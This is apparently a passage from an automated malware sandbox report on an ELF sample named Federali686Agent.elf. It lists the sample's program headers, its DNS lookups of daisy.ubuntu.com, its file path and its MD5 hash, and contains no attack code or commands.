        LOAD0x140000x805c0000x805c0000x8040x6f804.85660x6RW 0x1000.ctors .dtors .data .bss
        GNU_STACK0x00x00x00x00x00.00000x6RW 0x4

        Download Network PCAP: filteredfull

        TimestampSource PortDest PortSource IPDest IP
        Mar 19, 2025 02:50:08.825212955 CET4861253192.168.2.151.1.1.1
        Mar 19, 2025 02:50:08.825314045 CET4809353192.168.2.151.1.1.1
        Mar 19, 2025 02:50:08.832160950 CET53486121.1.1.1192.168.2.15
        Mar 19, 2025 02:50:08.832170963 CET53480931.1.1.1192.168.2.15
        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
        Mar 19, 2025 02:50:08.825212955 CET192.168.2.151.1.1.10xbdfeStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
        Mar 19, 2025 02:50:08.825314045 CET192.168.2.151.1.1.10xaffaStandard query (0)daisy.ubuntu.com28IN (0x0001)false
        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
        Mar 19, 2025 02:50:08.832160950 CET1.1.1.1192.168.2.150xbdfeNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
        Mar 19, 2025 02:50:08.832160950 CET1.1.1.1192.168.2.150xbdfeNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

        System Behavior

        Start time (UTC):01:50:02
        Start date (UTC):19/03/2025
        Path:/tmp/Federali686Agent.elf
        Arguments:/tmp/Federali686Agent.elf
        File size:84436 bytes
        MD5 hash:1af3be6da268294feeaf2f3f73f6e980